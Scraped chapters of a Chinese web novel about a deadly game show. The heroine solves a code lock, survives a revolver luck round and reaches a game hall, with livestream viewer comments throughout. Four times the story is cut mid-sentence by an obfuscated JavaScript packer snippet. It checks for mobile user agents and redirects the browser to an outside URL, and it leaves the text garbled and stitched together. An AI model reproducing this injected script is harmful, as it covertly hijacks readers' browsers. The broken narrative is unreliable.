“第一排7318,筛掉1和8只剩7、3,两个号码正确但位置都错,7≠第一位,3≠第二位;第二排3675,筛掉6和5只剩3、7,两个号码正确且位置正确,所以,现在可以确认,3是第一位,7是第三位,这两个位置绝对没错。”
“接下来验证第三排1369,筛掉1、6后只剩3和9,两个号码正确且位置都不正确,3已定在第一位,那另一个正确数字必然是,所以9不能在第四位,只能是第二位。”
至此,前三位数字已完全敲定,祝承仪扫过墙面跳动的倒计时,还剩最后一分钟。
“3974!”何欣愿抢答,“虽然最后一位数还剩2和4没有确定,但我强烈预感是4。”
祝承仪没有反驳:“那就试试吧。”
祝承仪输入密码,不过两秒,她面前的密码盒便发出清脆的“咔哒”声,盒盖弹开,一把银色金属钥匙静静躺在其中。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526641|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祝承仪打开了大门,墙面的红色倒计时定格在00:45。
【叮咚——恭喜祝承仪、何欣愿通关智力关!】
【玩家祝承仪:逻辑推导满分,额外识别干扰项,获得加分项】
【第三关游戏正在加载中,请在原地等待……】
隔音墙缓缓向上收起,何欣愿立刻快步冲到祝承仪面前,眼睛亮晶晶的:“是你啊,第一关的时候我就看到你了,好厉害一个飞人。”
“还好我从小到大运气不错,猜对了!”
祝承仪看着她雀跃的样子,唇角勾起一抹浅淡的笑意。
题目全程无任何线索提及2,其本就是刻意设置的干扰项,所以她才会如此不假思索的输入密码。
但她并没有戳破,只是抬手拿起钥匙,淡淡道:“运气确实不错。”
何欣愿并不知情,但弹幕上却一清二楚。
【只有我注意到系统说祝姐识别干扰项拿了加分吗?姐根本不是赌,是早就确定了4】
【祝姐:看破不说破,给队友留点面子~】
【小磕一口!!!】
何欣愿整个人天生自来熟,此刻还在围着祝承仪叽叽喳喳说着自己过往的欧皇名场面,从上学猜选择题全对,到抽盲盒一发中隐藏等等。
甚至毫无防备地说道:“要是下次还能一起组队就好了。”
“你似乎对这里很熟悉,你是怎么来到这里的。”祝承仪感受到何欣愿话语里的不对劲,避而就轻地问道。
何欣愿闻言愣了愣,随即笑着回答:“当然是为了钱,奖金三亿,谁不心动,我寻思我运气不错,说不定能一路通关,拿到奖金,就算拿不到三亿,分一点也行啊。”
她说得轻松,眼底满是对未知的好奇,半点没把这生死攸关的选拔赛当成难事,倒像是真的来参加一场普通的闯关游戏。
祝承仪闻言眸光微沉,指尖无意识摩挲着掌心的薄茧。
主动报名?看来这游戏并非是在人意外濒死时强制拉入,但没想到居然还有这样的明码标价招募渠道。
但看上一关有些人的反应,应该有一批人像她和梅绛雪一样,是在现实里遭遇意外,被强行拖入这生死场。
另一批人,像何欣愿,是冲着巨额奖金主动报名。
这一切究竟是随机巧合,还是一场精心筛选的狩猎?
“不过,我看你这穿着打扮不像缺钱的,怎么也来报名了。”何欣愿还在毫无心机地追问,眼睛里满是好奇。
祝承仪垂在身侧的手微微一紧,面上却依旧平静,淡淡开口:“我不是报名来的。”
何欣愿一怔:“啊?那你……”
“车炸了。”她语气轻淡,像在说别人的事,“醒过来就已经在这里了。”
何欣愿脸上的笑容瞬间僵住:“啊?那你…那你不是……”
何欣愿没敢把“死”字说出来,她以为进入游戏只有报名这一种方式。
她脸上一时不知该做什么反应,但还是下意识说了一句:“对不起。”
祝承仪却表示无所谓。
何欣愿见她神色淡漠,心里更是内疚,默默往祝承仪身边靠了靠,小声嘟囔:“那以后我保护你!我的运气超管用的!”
祝承仪狐疑的看向她:“我们这才认识十分钟,你就那么信我?”
“我相信自己的第六感。”
【不是,这妹妹是大学生吧,眼底如此清澈见底的愚蠢】
【啊喂!你们这是对大学生的刻板印象,这个妹妹明明是好心安慰!大学生怎么惹你们了啊啊啊】
5. 新玩家选拔赛(3)
【叮咚——第三关载入成功,恭喜剩余玩家顺利来到新玩家选拔赛最后一关,请离开各自房间,大门仅可通过一人】
电子音语气明显雀跃了几分,大门仅可通过一人,她们要从分开走。
何欣愿先一步转身,冲祝承仪招了招手:“很高兴认识你,也很期待我们在真正的游戏里见面。”
她又往前走了几步,走出大门的脚步突然顿了一下,回头重新看向祝承仪:“对了,还没问你叫什么名字呢?”
祝承仪没回头,脚步踏入未知的大门:“祝承仪。”
【叮咚——新玩家选拔赛运气关:我赌你的枪里没有子弹】
【规则如下:
1.本场为单人竞技关,所有玩家将进入环形射击场,每人配发一把左轮手枪,一共六发子弹,弹匣随机装填1-3发实弹,其余为空包弹。
2.每轮玩家必须开枪,可选择对他人开枪威慑,也可选择对自己开枪赌运气,对他人开枪未命中者,将接受强制惩罚。
3.场内设有三处安全掩体将不被射击,每处仅可容纳一人躲藏,每轮三处安全掩体将随即分配。
4.共计三轮游戏,每轮游戏限时三分钟,倒计时结束后,存活且未被惩罚的玩家,即为选拔赛最终通关者。
温馨提示:本关无队友、无合作、无豁免,子弹不会留情,运气亦是实力】
【游戏即将开始,请新玩家做好准备,在发出游戏开始的口令时,将会倒计时十秒钟,十秒钟内可自行寻找掩体】
【十秒钟后,可开枪】
祝承仪走在黑暗中,规则一条条介绍完毕,面前又出现一道铁门。
祝承仪犹豫了一下,按下门把手,眼前出现了一个巨大的环形金属射击场,四周高墙耸立,墙面嵌满了防弹钢板。
她的掌心一沉,一把沉甸甸的左轮手枪已然落入手中,枪身冰凉。
走近场地,身后铁门自动关闭。
祝承仪掌心抵住枪身,单指拨动着弹匣,却根本听不出来里面藏着几发实弹和几发空包。
她抬眼快速扫视了一圈整座环形射击场,场地不大,大概只有学校足球场一半大,四处散落着水泥墩、金属挡板、破损的货架,乍一看全是掩体,可规则明确标注只有三处是安全掩体,其余全是迷惑性的假掩体,考验运气。
祝承仪粗略统计了一下,场上还剩三十多名玩家,经过前两关的筛选,没人再是全然的新手。
每个人表情各异,脸上虽有紧绷,但显然都比刚开始游戏时要冷静的多。
三轮游戏,每轮三分钟,总共不过九分钟,却足以决定生死。
六发弹匣,1-3发实弹,人均每轮必须开一枪,三轮就是每人三枪,全场累计要打出近百发子弹,实弹占比高达三分之一到一半。
对他人开枪,未命中直接惩罚淘汰,命中则意味着一条性命消失。
对自己开枪,一半以上概率直接中弹出局。
即便躲进安全掩体,也只能躲过第一轮,后两轮依旧要直面枪口。
三十多人的基数,看似不少,但要撑过短短九分钟,最多恐怕只会剩下不到十个人。
祝承仪微蹙着眉头,目光落在斜侧方那道熟悉身影上。
梅绛雪此刻正倚着冰冷的防弹高墙,单手转着左轮,一副悠然自得的模样,不知道的还以为他在玩一场真人cs游戏,不会真的死人的那种。
梅绛雪目光朝向祝承仪,不知道看了多久。
两人四目相对时,梅绛雪唇角勾起一抹痞气十足的笑,没有出声,祝承仪却看懂了他的眼神。
他在说:“这一局,各凭本事,生死自负。”
祝承仪不屑的翻了个白眼,侧过身子,不再看他。
不远处的何欣愿身子缩了一下,这还是她第一次碰到真枪,紧张的心脏砰砰作响,但其中还藏着一些激动。
她看到祝承仪,紧绷的表情瞬间松了半分,也不知道为什么,面对祝承仪时,她莫名感到一些心安。
何欣愿隔着混乱的人群,用力朝祝承仪眨了眨眼。
祝承仪微微颔首,算是回应,但愿她这个自封欧皇的女生可以顺利活下去吧。
重新收回目光,祝承仪脚步轻缓,朝着射击场边缘一处不起眼的窄小立柱走去,她第一时间pass了那些看起来坚固的水泥墩与金属挡板,那些位置太过惹眼,必然是争抢的重灾区。
而立柱那里位置偏僻,不易被盯上,即便不是真掩体,也能最大程度避开第一轮的流弹与玩家攻击。
【叮咚——游戏开始,寻找掩体倒计时:10、9、8……】
电子音开始倒数,场内瞬间炸开了锅。
玩家们像无头苍蝇般扑向各自看中的掩体,有人被狠狠踹倒在地,有人为了争抢位置直接将枪口抵在了对方额头。
恐惧在短短十秒内被无限放大。
人性也不能被考验。
梅绛雪依旧没动,懒懒散散地靠在高墙下,似乎没有要去找掩体的意思,视线始终黏在祝承仪的背影上,看着她冷静选位,避开人群,眼底的玩味又深了几分。
何欣愿凭着直觉,小步快跑钻到了祝承仪不远处的一个矮货架后,缩成小小的一团,连呼吸都放轻,运气显然再次站在了她这边。
【3、2、1,倒计时结束,玩家可开枪!】
指令落下的瞬间,第一声枪响刺破了射击场的死寂。
“砰——”一声。
是实弹。
开枪的玩家击中了身前争抢掩体的人,被击中的身影连惨叫都没发出,便化作灰烬彻底消失。
场内很混乱,短短不到一分钟就已经淘汰三人了。
祝承仪站在立柱旁,始终保持着最冷静的姿态。
她很清楚,对别人开枪是赌概率,对自己开枪是赌性命,唯有避开所有冲突,才是最优解。
祝承仪缓缓抬枪,枪口稳稳指向头顶空旷的天花板,她抓住了规则里的漏洞,枪口不对任何人,既满足了必须开枪的规则,又不会触发任何惩罚,更不会轻易沾染人命。
指尖轻扣扳机。
空包弹的脆响干净利落,并没有触发惩罚机制。
不远处的梅绛雪见状,低笑一声,也跟着抬枪朝天,同样开出一发空包弹。
在一旁目睹一切的何欣愿,犹豫片刻也举起手枪对天空打了一发,实弹的后坐力,让她惊呼一声,震得手掌发麻。
她放下枪时手还在抖,却因为没触发惩罚,心里悄悄松了一大口气,圆溜溜的眼睛下意识看了一眼祝承仪。
【不得不说,何欣愿运气真的好,不仅找到了真掩体,而且第一发还是实弹,就算她开枪不朝天又不会受到惩罚,接好运!】
【接接接,我接同款
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526642|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好运】
【祝承仪太聪明了吧,能抓住规则漏洞,我将驻守她的直播间,我倒要看看她会有什么魔力】
【不是,梅绛雪到底在拽什么?其他人都在躲避,就他一个人站着一动不动,还学祝承仪,什么意思?】
【可是何欣愿不也学了吗?而且他那表情看起来像是也发现了这点】
【好了好了,大家这里是祝姐直播间,别提别人了,容易分流】
下一秒,梅绛雪动了。
他拿起脚边一早就看好的挡板,迅速移动到射击场的侧边死角,只距离祝承仪几步的位置。
何欣愿所在的掩体亮着蓝光,这是系统判定正确的安全掩体。
祝承仪对自己非酋运气早已习以为常,第一场游戏,大家经验不足,他们目前所在的位置不算是“主战场”,流弹还未太波及。
梅绛雪一边观察着战况,一边朝祝承仪没脸没皮地笑着:“看来今天运气,不站在你这边。”
祝承仪冷瞥过去:“我从来不靠运气。”
三分钟的倒计时飞速流逝。
原本三十多人的场地,人数疯狂锐减。
【叮咚——第一轮游戏结束,请停止射击。
目前存活玩家:十七人。
安全掩体即将重新随机刷新】
【补充规则:请勿将枪射向天空,违规者淘汰!!!】
补充规则重申了三遍,开来钻规则漏洞是合理的,却令电子音格外的生气。
【第二轮游戏即将开始,请新玩家做好准备,寻找掩体倒计时:10、9、8……】
灯光闪烁了一下,真掩体重置。
祝承仪和梅绛雪没挪地方,幸运之神依旧没有眷顾他们。
而何欣愿凭着本能随便一蹲,头顶再次亮起淡蓝微光。
【3、2、1,第二轮游戏,开始】
枪声瞬间比上一轮更密集,更疯狂。
有人杀红了眼,似乎迈开杀人的第一步,就无法控制收场。
有人咬牙对准旁人开枪,“砰!”一声后,是空单,被强制惩罚电击。
身体不受控制地抽搐,下一秒就被实弹击中,瞬间化作灰烬。
祝承仪背靠冰冷墙面,大脑计算着所有可能。
她这一轮,赌空包弹。
梅绛雪似乎看穿了她的选择,忽然朝她靠近半步,声音压得极低:“祝承仪,要玩游戏吗?”
祝承仪没看他:“你想干嘛。”
“我数三、二、一,我们一起对自己开枪。”
梅绛雪嘴角微微翘起,浅棕色的眸底染上了一抹兴奋:“我赌我们这一发,都是空的。”
祝承仪沉默一瞬。
“可以。”
两人同时抬起枪口,稳稳抵在自己的太阳穴边,四目相对,眼底挂笑,像两个只是单纯拿着玩具枪做游戏的孩子。
周围都是惨叫声和枪声。
他们却像是站在另一个世界。
“三。”
“二。”
“一。”
“砰——”
“砰——”
两声枪响几乎叠在一起。
空气静止了半秒。
梅绛雪缓缓放下枪,笑意张扬:“你看,有时候,运气也会站在聪明人这边。”
祝承仪面无表情收回枪,心脏却轻轻跳了一拍。
6. 新玩家选拔赛(4)
倒计时还在走着,第二轮游戏,即将结束。
六发子弹,规则并未说要强制用完,只是说每轮必须开枪,目前已经用掉两发,最后一枪,实弹的概率很高。
“喂,你发现了吗?”梅绛雪小声喊着祝承仪,目光示意让她看向场上。
祝承仪顺着他的视线望去,眼底划过一抹凉意。
不远处,几名玩家像是彻底失了神智,双眼赤红,面目扭曲。
他们根本不管每轮都必须开枪的规则,在第二轮游戏里就疯狂扣动扳机,将弹匣里剩余的子弹一股脑全部射了出去。
直到枪膛彻底空响,他们才瘫软在地,眼神空洞地喘着粗气。
几乎是子弹耗尽的同一瞬间,电子音再度响起。
【叮咚——检测到有玩家违规超额射击,剥夺下一轮游戏资格,强制淘汰】
白光闪过,那三个疯魔的玩家连惨叫都没发出,直接消失在场地中。
祝承仪眉头紧蹙,声音压得极低,却足够清晰:“你有没有听过San值。”
“San值?”梅绛雪挑了挑眉,默声听她介绍。
“前两关的生死压力,加上这一关亲眼看着身边的人不断被淘汰,有些人的精神承受力可能早就到了极限。”祝承仪的目光扫过场上剩下的玩家。
【叮咚——第二轮游戏结束,请停止射击。
目前存活玩家:九人。
安全掩体即将重新随机刷新】
“这里看似是运气关,实则在不断蚕食人的精神意志,San值掉到阈值以下,就会失去理智,做出疯狂且违规的举动,哪怕知道不能乱开枪,也控制不住自己。”
梅绛雪若有所思地点头,跟着祝承仪开始往另外一边走,最后一轮换一个安全掩体:“你怎么知道这些的?”
“别跟着我。”祝承仪大变脸,语气冷了下来,方才低声分析的平和尽数敛去,她与梅绛雪拉开距离,但还是解答了他的问题,“之前影视部买了几本无限流小说的版权,书上都是这么写的。”
梅绛雪脚步一顿,先是一怔,随即低低地笑了出来:“还真是翻脸就不认人,无情得很。”
【第三轮游戏即将开始,请新玩家做好准备,寻找掩体倒计时:10、9、8……】
祝承仪没回头,脚步稳而快地朝着她选好的位置走去:“你不应该早就习惯了嘛。”
【3、2、1,第三轮游戏,开始】
全场掩体均未亮灯验证哪个才是安全掩体。
【最终轮特殊规则生效:本轮为最终决胜轮,安全掩体已全部关闭,剩余新玩家请直面最终裁决】
所有掩体随着电子音的尾声,如烟雾般散去。
此刻场上没有掩体,没有死角,没有任何可以躲避的余地。
九个人,赤裸裸地站在空旷的射击场中央,成了彼此的活靶子。
何欣愿刚钻进水泥管里,还保持着蜷缩的姿势,掩体消失了,她也傻眼了。
那根半人高的水泥管突然消失,她整个人猝不及防地暴露在空旷的场地中央,还没来得及反应过来。
也就是这一秒的愣神,一道冰冷的枪口已经锁定了她。
斜后方,一名隐在人群里的中年男人,眼底布满血丝。
“小心。”
祝承仪的声音与枪声几乎同时响起。
她离何欣愿不过两米,根本来不及思考,身体先于意识做出了反应,一个箭步来到何欣愿身后,右手手腕发力,硬生生将她往后拉了一把。
“砰——”
实弹擦着何欣愿的发梢飞过,打在她身后的防弹钢墙上,溅起一串刺眼的火花,在墙面留下一个焦黑的弹孔。
何欣愿只觉后领一紧,然后就落进一个香香软软的怀抱里。
那名中年男人见没有打中,非但没有收敛,反而露出一抹扭曲的笑,举起手枪对准祝承仪:“在这里还装上什么英雄救美了,那你们两个美人就一起死!”
说着,他手指就要再次扣动扳机,梅绛雪的枪声却先一步响起。
实弹瞬间打中中年男人的左膝盖,惯性令他直接跪倒在地,手枪脱手飞出老远。
“你们……”中年男人脸色涨红,骤然间变为灰烬。
祝承仪扶着已经回过神的何欣愿,拍了拍她的后背:“努力活着,你说的期待我们在真正的游戏里见面。”
何欣愿连忙点头:“嗯!我不会让你白救我的!”
祝承仪笑笑,松开扶住何欣愿的手,往场地中央走,把自己最后一枪开了。
该死的梅绛雪,竟然比自己先一步完成,着实气人!
祝承仪想着侧头瞪了一眼梅绛雪,就这一侧头躲过了与她擦肩而过的子弹。
正愁不知道向谁开枪,祝承仪连停顿都没有,反手抬枪、锁定、扣扳机,动作一气呵成。
她赌的就是一颗实弹。
当然空弹也没事,反正只是惩罚,又不是淘汰。
她心态还是很好的。
子弹正中对方持枪的手腕。
是实弹。
祝承仪垂眸,轻轻吹了下枪口,故意对着梅绛雪摆了个帅气的姿势。
梅绛雪嘴角抽搐:“……幼稚。”
一旁何欣愿也咬着牙,颤抖着举起手。
开枪!
呀,打偏了,但那人突然崴脚往前栽了一步,正好撞上子弹。
就这样,何欣愿成功拿下一杀。
【叮咚——新玩家选拔赛到此结束,恭喜最终通过游戏的五名玩家,接你们前往游戏大厅的大巴车已在门口等候,期待我们下一次相遇】
【最后,祝各位玩家…游戏愉快】
话音刚落,场地四周的防弹高墙缓缓向两侧拉开,刺眼的自然光倾泻而入。
一辆通体漆黑,没有任何标识和车牌的大巴车静静地停在门外,车窗贴着单向膜,看不起里面的情况。
场上硝烟尚未散尽,九名玩家最终只剩下五人,除了祝承仪、梅绛雪、何欣愿,另外两个侥幸存活的玩家脸色惨白,互相提防着往大巴车走去,生怕下一秒就被人偷袭。
梅绛雪双手插兜,又恢复他那副痞里痞气的模样,脚步很快把其它人甩在身后。
走到大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526643|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巴车门前时,他忽然停下,侧身回头,朝着祝承仪扬了扬下巴:“我先上去了。”
祝承仪冷冷瞥他一眼:“无聊。”
梅绛雪笑了一声,似乎逗祝承仪是他最大的乐趣,他没说话,伸手拉开了大巴车门。
车门打开,前面并没有司机,车内宽敞干净,就是最普通不过的大巴车。
没有人说话,也没有人动。
梅绛雪挑了挑眉,率先踏上车厢,随意选了靠前排靠窗的位置坐下,长腿一伸,依旧是那副漫不经心的样子。
从游戏结束,何欣愿就一直跟着祝承仪,祝承仪上了车坐在梅绛雪的前一排,何欣愿直接坐在她旁边。
另外两名玩家犹豫片刻,也心惊胆战地跟了上来,低着头缩到车厢最后排,彼此隔开老远,全程不敢抬头。
何欣愿侧头看向祝承仪,小声嘀咕:“没有司机…车真的能开吗?”
全员刚坐稳,大巴车门“砰”地一声自动关上,没有任何提示,也没有任何震动,车子竟然自己缓缓启动了。
车轮平稳地碾过地面,速度不快不慢,方向盘在无人触碰的情况下,轻轻自动微调方向,沿着空旷的道路平稳前行,像有一只看不见的手在操控。
车厢里一片安静,只有空调微弱的风声,和窗外掠过的模糊风景。
何欣愿又好奇又紧张地攥着小手,观察着外面的景色,但发现自己脑海中根本记不住那些景色。
祝承仪则靠在椅背上,大脑放空,闭目养神。
大巴车在无人驾驶的情况下,平稳地穿行在灰蒙蒙的公路上,没有红绿灯,没有其他车辆。
仿佛整个世界只剩下这一辆车,和车上五个刚从鬼门关爬回来的玩家。
后排两名玩家始终低着头,大气不敢出,车厢里形成了一种诡异又平和的安静。
不知行驶了多久,前方道路尽头,渐渐出现了一座巨大的,灯火通明的黑色建筑,轮廓像一座巨大的城堡,又像是一座高耸的候车大厅。
顶端悬浮着一行发光的大字:无限游戏大厅。
【叮咚——抵达游戏大厅,请各位玩家做好下车准备】
大巴车缓缓减速,平稳地停在了建筑门前的空地上,车门自动打开,新鲜的空气涌入车厢。
等所有人走下大巴,身后的车门缓缓关闭,无人的黑色大巴,再次平稳启动,悄无声息地驶入了浓雾之中。
何欣愿抬头望着眼前宏伟的游戏大厅,眼睛亮晶晶的:“哇,这里和宣传海报里一模一样。”
话音刚落,大厅正门两侧的感应门无声向两侧滑开。
门内并非奢华大厅,而是一条笔直向前的白色通道,通道两侧整齐排列着数十间独立玻璃舱,舱体泛着冷白色灯光,看上去像极了医院的体检室。
通道正前方悬挂着一块巨大电子屏,滚动着猩红字体。
【新玩家报到流程:身份录入→全面体检→分配休息区】
【禁止插队、禁止喧哗、禁止触碰检测设备,违规者直接清除】
“哟,这还怪合规。”梅绛雪调侃了一句,笑道,“走吧。”
7. 游戏大厅
很快,来了一位工作人员。
“欢迎来到无限游戏大厅。”
她穿着一身剪裁利落的银灰色制服,脸上挂着标准的职业微笑,眼神空洞却又表现热情,从头到脚都透着一股精致又僵硬的假人感。
“请各位玩家配合进行瞳孔扫描,录入身份信息,随后将由我引导各位进入独立玻璃舱,完成后续全面体检。”
她微微侧身,抬手指了指缩在最后的一名玩家:“就从你先开始吧,大家按顺序排队。”
被指到的玩家身体忍不住一哆嗦,但又不得不上前,站在第一位。
这种感觉,就像是小狗会精准地找到人群中最害怕它的那一个人。
探头扫描仪器飞出,工作人员调整好角度:“请靠近一点,直视镜头,不要眨眼。”
红光一闪。
【瞳孔录入成功,身份绑定成功,欢迎玩家赵一进入游戏大厅,请拿好专属于您的游戏手表,进入192玻璃舱进行体检】
工作人员将一枚黑色手表递给赵一,他颤颤巍巍接过,地上红色箭头亮起,指引他前往192玻璃舱。
祝承仪排在他后面,平静地凑近扫描镜头,红光扫过眼底,瞳孔录入成功,她被分到004玻璃舱。
工作人员取出一枚通体白色手表,轻轻戴上祝承仪右手腕,纯白手表与赵一那枚纯黑腕表截然不同。
“玩家祝承仪,身份绑定成功,请前往002号玻璃舱。”
地面的蓝色箭头自动亮起,笔直延伸向通道深处,与前一位玩家的红色指引线泾渭分明。
祝承仪跟着箭头左转右转来到002号玻璃舱,进入玻璃舱内,舱门自动闭合上锁。
狭小的空间内没有多余装饰,只有中央一张金属躺椅,头顶悬着数根细密的探测光线。
【玩家祝承仪,玩家身份已确认】
【请躺卧,即将进行生命体征检测、精神状态评估、人气值统计、个人信息数据等检查项目】
【检测中禁止挣扎,否则将视为异常处理】
祝承仪按照要求躺下,光线从上到下迅速扫过她的全身。
【叮——系统扫描结束,个人信息可在游戏手表上进行查看】
玻璃舱检查完毕,并未催促让人离开,祝承仪起身坐起,低头开始研究手腕上的游戏手表。
按了一下游戏手表的侧面按钮,屏幕亮起,随即弹出一块半透明的虚拟面板,悬浮在她眼前。
面板设计简洁,祝承仪先锁定了个人信息那个闪着红点点的齿轮标,点开后信息跳了出来。
【玩家:祝承仪】
【女/24岁/169cm/100kg】
【编号:004N】
【身体状态:健康(90San值),身上无伤疤、无纹身、心率正常、无过往病史】
【人气值:0(新玩家选拔赛不在人气值统计内)】
【当前参与副本:0】
【权限:积分值、积分排名、线上兑换商店、玩家论坛、线上客服、好友位、道具库(还未解锁,待第一个副本结束)】
祝承仪退出个人信息界面,屏幕上的积分商城、玩家论坛、好友位、道具库全都呈现灰色锁定状态,唯独导航地图与游戏大厅说明两个按钮亮着。
她没有急于点开导航,而是先点开了游戏大厅说明。
无限游戏大厅说明书:
1.游戏大厅为绝对安全区,玩家可尽情享受,期间禁止任何玩家私斗、偷袭、恶意伤害,违者直接清除,不予警告。
2.游戏手表为唯一身份凭证,请保管好您的游戏手表。
3.人气值和积分值作为游戏核心流通资源,可通过完成副本和直播数据获取,用于兑换道具、提升权限、解锁功能。
4.每个玩家有专属直播间,副本外玩家可选择直播关闭与开启,弹幕可互动,副本内直播强制开启,玩家可通过自身表现获取人气值,副本内直播间为单向通道,玩家不可利用任何方式试图窥探观众弹幕。
5.San值为玩家精神状态核心数值,低于60将出现幻觉、狂躁、失控等状态,低于10系统直接判定为失心疯,自动清除。
6.每个副本结束后将进行评级结算,评级越高,奖励越丰厚。
7.休息区刷手表就可进入,餐食免费自取,娱乐项目皆免费。
8.游戏大厅停留时间不可超过五天,休息五天后游戏将强制开启,当然游戏开始前十二小时内系统会发布通知提醒。
9.女性玩家生理期,副本将不再强制开启,可在游戏副本开始前选择是否进入,若选择参加,通过后本轮积分翻倍,若选择不参加,可自行在游戏大厅内休息。
10.请严格遵守以上规则,祝各位玩家游戏愉快。
11.出副本要求达……(更多说明待解锁/等级不够)
祝承仪看完之后,沉默了几秒。
这里规则残酷归残酷,待遇倒是想得挺周到的。
不仅有安全的休息空间,还有免费的餐食娱乐,甚至连女性生理期都专门留了缓冲时间,人性和压迫感混在一起,更像一场精心饲养的狩猎场。
而更多的补充说明,看来还需要升升级才能看到,努力活着吧。
祝承仪眨了下眼,退出说明书界面,点亮了那个醒目的导航地图。
半透明的3D沙盘立刻在半空展开,把整个游戏大厅完整地展示出来。
中央大厅、睡眠休息区、自助餐厅、娱乐区、医疗站、健身区、线下兑换商店(未解锁)、客服咨询前台。
区域细分,空间很大,各个功能区标注得一目了然,祝承仪了解到她当前所处的体检区,只是这里最微不足道的一个小空间,与真正的核心大厅还隔着一条长长的通道。
祝承仪刚收起导航地图,玻璃舱内忽然响起轻柔的提示音,舱壁一侧弹开一个方形储物格,一套浅灰色运动服和运动鞋平整地叠放在里面。
【请玩家更换统一制式服装,禁止穿着私人衣物进入游戏大厅核心区域】
没有多余选择,祝承仪伸手取出运动服,最简单不过的套头卫衣搭配宽松长裤,尺码刚好合身。
她快速换好衣服和鞋子,原本的衣物被储物格自动收纳回收,舱门也在穿戴完毕的瞬间缓缓打开。
浅灰色的运动服在她身上倒不难看,反而多了几分清新脱俗,没有职业装那般严肃沉闷,感觉更适合她的年龄。
祝承仪踏出玻璃舱,红色箭头再次亮起,跟着箭头沿着走廊前行数百米,前方出现一道透明隔离门,门旁立着全身消毒区的标识。
【请玩家进入消毒通道,完成全身消杀后,方可进入游戏大厅核心区域】
祝承仪迈步走入,隔离门自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526644|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动闭合,细密的雾气从四周喷洒而出,带着淡淡的香气,几秒后便自动风干,没有留下一丝潮湿感。
消杀完成,前方闸门缓缓开启,真正的游戏大厅,终于完整展现在她眼前。
一进来,就像踏入了一座大型高端度假酒店,正中间的柔光吊灯,光线柔和不刺眼,讲整片大厅照亮得通透又高级。
地面铺着浅灰与米白拼接的大理石,中央是弧形环岛接待台,应该就是导航介绍里的客服咨询前台,里面站着一个和外面工作人员长得一模一样的人。
一眼望去,大厅横向极宽。
左侧是自助餐厅,环境布置地像干净高端,但现在还未到用餐时间,只有一小部分甜品区域还在开放。
右侧依次是休闲区、健身区和医疗站,内部空间向里延伸,表面看不出来里面到底有多大。
往里走四面皆有电梯,可通往睡眠区域。
大厅暂时没有多少玩家在此活动,但这里每隔几米,就站着一名穿银灰制服的工作人员,站姿笔挺、微笑标准,一模一样的长相,看得人莫名毛骨悚然。
【叮咚——现提前12小时发布新一轮副本提醒,请各位玩家查看游戏手表】
祝承仪手腕上的手表微微发烫,随即弹出提醒。
【副本预告:下一轮副本将在12小时后正式开启】
【C级副本:内容未解锁】
【确认是否收到:确认】
祝承仪看完内容,点了确认后,副本信息迅速被收进存档,然后无意间触碰到了手表界面角落的一个微型镜头图标。
那是直播间的开关。
说明书第四条写着“副本外直播可自主开启”,也就是说,从她录入瞳孔、踏入体检舱的第一秒起,她在游戏大厅的一举一动,其实早就暴露在无数双看不见的眼睛里。
祝承仪微蹙了下眉,点开了那个一直处于高亮开放状态的直播间。
瞬间,半透明的弹幕界面浮起,密密麻麻的文字在眼前滚动。
【这一次副本提示居然连名字都没有?】
【其他老玩家也没有提示吗?我从一开始就蹲祝姐了,我还以为她是新玩家,才未解锁的】
【我去看了一眼,别的直播间也没有,虽然只是C级副本,还是有点难度的】
【这个小姐姐好漂亮!我刚才从新玩家名单看到,这次居然只剩五个人,她穿统一运动服居然也不差】
【楼上的可以去看看新新玩家选拔赛的回放,祝姐太帅了,入股不亏】
【啊!痛失,最近没有营养液了,口袋瘪瘪的(哭唧唧】
【那姐妹可以蹲蹲论坛剪辑,我磕祝姐和梅绛雪!】
【我就不一样了,我磕祝祝和欣愿!!!】
弹幕飞速刷屏,作为她的专属直播间,大部分都是喜欢她的人。
但磕她和梅绛雪?
咦!祝承仪莫名嫌弃,撇了撇嘴。
更何况她不喜欢被人窥探,副本内,直播是强制性的,算是生存的一部分,她没得选。
